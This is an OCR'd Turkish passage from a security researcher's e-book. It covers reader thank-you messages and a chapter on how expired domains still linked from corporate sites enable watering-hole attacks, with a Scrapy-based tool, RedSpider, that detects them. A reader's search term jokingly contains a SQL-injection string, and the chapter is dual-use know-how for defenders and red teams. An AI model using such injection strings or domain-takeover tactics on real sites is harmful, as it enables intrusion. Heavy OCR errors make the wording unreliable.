https://www.mertsarica.com/medya/sunumlar-2019/2012-2/nasil-ethical-hacker-olunur-12-nisan-2012/
https://www.mertsarica.com/medya/sunumlar-2019/2012-2/nasil-ethical-hacker-olunur-12-nisan-2012/

170 Hack 4 Career - 2019

Katildigim siber giivenlik etkinliklerinde yanima gelip

“Universitemizde yillar 6nce yapmis oldugunuz sunum sayesinde
siber giivenlik alanina yoneldim, tesekkiir ederim.” diyen onlarca
kisiyle tanistim ve mutluluktan mest oldum. ?

2018 yilinda Hacktrick Siber Giivenlik Konferansi‘'nin

akademisyenler, sektor uzmanlari, yoneticiler, kamu yetkilileri


https://www.hacktrickconf.com/
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gibi bir¢ok farkli alandan 6nemli isimlerinden olusan jiirisi
tarafindan 2017 yilinin en basarili blog yazari segilerek onore
oldum.

Cok sayida is teklifi aldim ve is goriismelerinde teknik olarak
yetkinligimi anlatmak durumunda kalmadim.

Sizlerden ¢ok sayida mesaj ve e-posta alarak sizlerle tanisma

firsat1 yakaladim.

Bu arada verdiginiz 6neriler kendimi gelistirme
konusunda ¢ok yardimci oldu ve sektore
girebilmemde inanin blog yazilarimizin ¢ok yarari oldu
ozellikle malware analizi vb. konularinda.

lyi giinler dilerim.

Aranilan Terimler

bad
Ghidra

WAF ARKASINA ATLARIM, BAYRAMINIZI
KUTLARIM A

Merhaba Mert Abi
Cok gtizel bir iletisim araci
Black hat

Selamun aleykim hayirli isler


https://www.mertsarica.com/tesekkurler/
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Konu:
umutlar

ileti:

MERHABA :)

aslinda herhangi bir sorum yok. Sadece sunu
soylemek istiyorum.

Cok basaril bir insansiniz ve benim gibi kisilere umut
oluyorsunuz. Yazilariniz ¢ok dgretici ve bizlere
hacking ile

ilgili konularda bu denli yardimci olmaniz ¢ok
muazzam bir sey.

ilk basta kendi adima olmak {izere cok cok
tesekkdrlerimi

sunarim :). iyi ki varsiniz ve iyi ki bu isi yapiyorsunuz.
Kendinize ¢ok iyi bakin. Allah su hayatta ne isteginiz
varsa size

onu nasip etsin. lyi gunler dilerim :)

Hocam merhaba, umarim iyisinizdir.
Yaklasik iki yil dnce size danigtigim

sorular sayesinde siber guvenligi
kendime kariyer yolu olarak
belirlemistim. Edindigim farkh

1V

Merhabalar. Ben lise 6grencisiyim.
Calismalarinizi takip ediyorum. Cok
basarlisiniz. Sizin gibi olmak isteyen
genclere ne onerirsiniz?
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b |
Aranilan Terimler
» pytnon

= pythpn

= hocam kahve igmeye Universetimize davet
etsek gelir misiniz' or 1=1---ban yemem umarim
:D

» antim
= turkge siber guvenlik kitap
= DGA

(# abi nasilsin bir giin aksam c¢ay icmeye
beklerim, selamlar...
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&P Merhabalar Mert hocam, kendimi siber
guvenlik alaninda gelistirmek istiyorum
kaynak sikintisi ve ilerleme konusuda
sorabi..... saka saka :) :) glivenlik tv'yi
ve yazilarinizi severek takip ediyorum .
ozellikle giivenlik tv videolarinizi daha
fazla bekliyoruz,. guzel igerikleriniz igin
tesekkirler etmek i¢cin mesaj atmistim
belki boyle mesajlariniza ihtiyaciniz
vardir diyerek :)

Daniel Bohannon

lyi glinler Mert. Your recent blog
post on PowerShell shellcode
analysis was a great writeup and
has given me some new detection
ideas. Cok tesekkir ederim ve
mutlu yeni yillar!
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@) .2y mert sarica hocam sizlere gerek twitter
da gerek linkedin de takip ediyor ve

y niniz ve paylastiklaninizi sik takip
ediyorm.bunu belirtmek istedim ve adinizi
BWAPP te gorince direk baglantt kurmak

&

Mert bey istek kabulinizicin tesekkir ederim.

ilisimci adayr
zmanhk

yordum ve kardesin
itim almakta ve siz
2 siber givenlik, sizma vs konularina

ve kendini bu alanda gelistirmek istiyer.

Sizi Tweet lerden ve buradan takip etmeye
calisacagim. lyi calismalar..

Hocam Gnaydin, Paylagimlannizi takip etmeye calisiyorum.
Sabahin bu saatinde faydali igerik paylasanlar bence gok gok
O idealist degerli insanlardir ) Hayirh giinler dilerim

& Hocam selamlar, hic tanisma firsatimiz olmadi
aslinda ancak tanidigim kisiler siirekli
mesajlarini begenip yorum yaptikca mesajlarini
takip eder gibi oldum eklemek istedim, umanim
giin gelir tanisma sansimiz da olur, saygilar

Yazu bittiginde kafami kaldinp calisma arkadaslanma "mert sarica

‘ "yine" giizel bir blog yazmis” dedirtti )

selamlar.

®  ertBey merhobalar, uzun yilladir yaalanniz okuyorum .

@ | Hocam merhaba sitenizi yakindan akip
& ediyorum. Gok tesekkiirler verdiginiz yararli
istiyorum. bilgilerden dolay. Iyi galismalar.

ns
mgin size karssdaha aqik olup bir kag soru so

kusurumuza bakm
arzu ediyorum umarim bir gin bir yerlerde
kargilasiriz avm lerde denemelere ciktiginda )
Selamlar

10 yilda blogum ile;

Bir giivenlik aragtirmacisi olarak siber giivenlik alanina merakl
olan kisilere yazdiklarim, paylastiklarim ile 151k tutmaya, geng
arkadaglara ise rol model olmaya caligtim.

Her ay bir blog yazis1 yazabilmek icin disiplinli, planly, istikrarli
ve ozverili bir sekilde ¢alismay1 6grendim.

Cok ¢ok okumay1 ve bol bol pratik yapmay1 hayatimda bir déngi
haline getirdim.

“Ne zaman kitap yazacaksiniz ?” sorularina blog yazilarimdan
derledigim e-kitaplarim ile karsilik verebildim. ?

Teknik yazilar yazmama ragmen genis kitlelere ulasmayi
basararak yillar i¢inde blogumun en ¢ok ziyaretci alan Tiirkce

siber giivenlik kaynaklarindan biri olmasini sagladim.


https://www.mertsarica.com/e-kitap/
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TRAFFIC STATISTICS

Alexa Rank Audience Geography

052,020

Alexa Rank #

22,095

Analitik diisiinme yetenegimi gelistirdim.

Yukarda anlattiklarimi gercgeklestirebilmek i¢in yillarca disiplinli
bir sekilde cok ama c¢ok calistim. 15 dakikada, bir solukta
okudugunuz bir blog yazisi icin belki 1 ay belki 3 ay arastirma
yaptim ve ¢iktilarini derleyip, toplayip her birini bir blog yazisina
dokmek icin 6zel hayatimdan yaklagik 6-9 saatimi ayirdim.

Yillar beni son 10 yilda yormus, zaman anlaminda acimasiz
davranmig olsa da severek, biiyiik bir keyifle yaptigim giivenlik
aragtirmalar1 ve blog yazilari i¢in ayirdigim zamana asla ama asla
izilmedim ancak yillar gectikce glivenlik arastirmalarina
ayirabildigim zaman maalesef ayda bir yazi yazmay:1 git gide
zorlagtirmaya bagladi. 10 yilin ardindan kendime biraz daha sefkat
gostererek vites diisiirmeye, ayda bir yazdigim blog yazilarini daha
genis bir zaman araliina yaymaya ve bu durumumu igtenlikle
sizlerle paylagsmaya karar verdim.

Yillar icinde olumlu geri bildirimleriniz ve yapic elestirileriniz
ile her daim motivasyonumu yiiksek tutmami saglayip beni
givenlik arastirmasi yapmaya, blog yazmaya, sunum yapmaya
tesvik eden siz degerli okurlarima minnettarim.

Yeni yazilarda goriismek dilegiyle...
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Bilgi giictiir ve paylasildikca artar!

A video element has been excluded from this version of the
text. You can watch it online here:
https://hack4career.pressbooks.com/?p=283



https://hack4career.pressbooks.com/?p=283#pb-interactive-content

13. Alan Adi

Yonetimi Sarmali

Alan adi (domain) y6netimi, siirecin iyi yonetilemedigi bityiik ve
orta 6lgekli kurumlar i¢in kimi zaman iginden cikalamaz bir hale
gelebilmektedir. Thtiyaglar1 dogrultusunda is birimi ile bilgi
teknolojileri biriminin birbirinden bagimsiz olarak alan adi satin
alabilmeleri, bu alan adlarini yonetmeleri, yenilemeleri, web
sitelerinden e-posta sablonlarna kadar bu alan adlarini
misterileriyle olan yazismalarinda, imzalarinda baglanti adresi
olarak (link) kullanmalari, birimler arasi en ufak bir iletisim
problemi yasanmasi durumunda alan adi envanterinin giincel
olmamasina sebebiyet vererek art niyetli kisiler igin firsata
doniisebilmektedir.

Soyle bir senaryo diigiinelim, bir kurum tarafindan yillarca
kampanyalarinda kullanilmis, ana web sitesinin temasma ve
ayrica e-posta sablonuna gémilmiis bir alan adi yillar iginde
emekliye ayrilmis dolayisiyla yenilenmedigi icin de kaydi silinmis
olsun. Bu durumdan ilgili partilerin haberi olmadig: icin de alan

adi hem web sitesinde hem de miisterilere gonderilen e-postalarda

179
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baglant1 olarak yer almaya devam etmis. Bu alan adinin yillarca
kuruma ait olmasi sebebiyle yine zaman i¢inde kurumun giivenlik
sistemlerinin istisna listelerine ¢esitli sebeplerden dolay1 eklenmis.
Diistindigimiizde bu senaryo akla hayal triinii gibi gelse de
gercek diinyada orneklerine fazla rastlamamiz ¢ok da diisiik bir
ihtimal degildir.

Ozellikle su kaynag (watering hole) saldirilarinda art niyetli
kisilerin amaci, hedef alinan kurumun web sitelerinde kullanilan
dis baglant1 adreslerinin (external links) isaret ettigi sistemleri
(links) hackleyerek dolayli yoldan orayi ziyaret eden kurum
caligsanlarin1 ve/veya kurumun misterilerinin sistemlerini ele
gecirmektir. Bunun icin art niyetli kisilerin ihtiya¢ duyduklar: bilgi
sadece ve sadece kurumun web sitelerinde yer alan dis baglanti
adreslerinin bir listesidir. Bunlar arasindan kayd: silinmis alan
adlarin tespit etmeleri durumunda kotii emellerine ulagsmak icin
sadece ziyaretcileri beklemek veya sosyal mithendislik saldirist ile
hedeflerini o adrese yonlendirmeleri gerekecektir.

Kurumlar icin risk tegkil edebilecek bu duruma kars: yapilmasi
gereken ilk is alan adi yonetimi stirecini iyi bir sekilde isletmektir
ancak islerin her zaman arzu edildigi gibi ilerlemedigi de bir
gercektir. Bundan yola ¢ikarak hem kurumlara bu alan adlarini
tespit edebilmelerinde fayda saglamasi hem de giivenlik
testlerinde kirmizi takim calisanlarina yardimeci olmasi adina bir
arac gelistirmeye karar verdim.

Bu aractan temel olarak beklenen, hedef web sitesini taramak
(crawling) , tespit edilen alan adlarinin WHOIS bilgisine bakarak
kayithi olup olmadigini kontrol etmek ve kayith degil ise uyari
iretmekti. Tekerlegi yeniden icat etmemek icin Python ile bir
web tarayicisi hazirlamak yerine mevcutta bir yazilim iskeleti
(framework) aramaya bagladim ve ¢ok gecmeden daha 6nce de

adini duydugum Scrapy ile karsilagtim.


https://www.mertsarica.com/su-kaynagi-saldirisi/
http://www.python.org/
https://scrapy.org/
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Scrapy, giivenlik aragtirmacilar1 ve sizma testi uzmanlari
tarafindan da web sitelerini taramak, veri toplamak
amactyla siklikla kullanilan, hizli, basit ve genisletilebilir
acik kaynak kodlu bir yazilim iskeletidir. Kurulumu ise
tek bir komutla gergeklestirilebilecek kadar kolaydir;
pip install scrapy

RedSpider adini verdigim bu ara¢ hedef web sitesini ziyaret
ettikten sonra Scrapy yazilim iskeleti sayesinde tiim siteyi
taramakta ardindan tiim baglanti adreslerini tespit edip, .tr
uzantili alan adlar1 hari¢ dis baglant1 adreslerinde yer alan alan
adlarin1  whois.com.tr web sitesi {izerinden sorgulamaktadir.
Sorgularin sonucunu, bulundugu klasérdeki logs.txt dosyasina
yazmakta ve zaman agimina ugramis, kayith olmayan bir alan
ad1 tespit etmesi durumunda komut satir1 iizerinden uyari
vermektedir.

Araci gelistirdikten sonra sira test etmeye geldiginde yillardir
her daim testlerini benim web sitem tizerinde yapmay1 aliskanlik
haline getirmis BGA ¢alisanlarina misliyle karsilik vermek icin
ben de testimi BGA'nin web sitesinde yapmaya karar verdim.
? Komut satirinda scrapy runspider RedSpider.py komutunu
caligtirarak teste basladiktan kisa bir siire sonra RedSpider araci,
2011  yilindan  kalma  bir blog yazisinda  gegen
bilisimguvenligill.com alan adinin zaman asimina ugrayarak

kaydinin silindigini basariyla tespit edebildi.


https://www.whois.com.tr/
http://www.bgasecurity.com/
https://www.bgasecurity.com/2011/04/bilgi-guvenligi-akademisi-bilisi/
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B Administrator: Command Brompt - scrapy runspider --nolog RedSpider.py - o x

Test asamasini basariyla gectikten sonra RedSpider aracindan
givenlik uzmanlarindan, kirmizi takim ¢aligsanlarina kadar genis
bir kitlenin faydalanabilecegine inanarak sizlerle paylasmaya
karar verdim. RedSpider aracindan faydalanmak isteyenler GitHub
sayfam {izerinden araci indirebilirler.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler

dilerim.


https://github.com/mertsarica/hack4career/blob/master/codes/RedSpider.py
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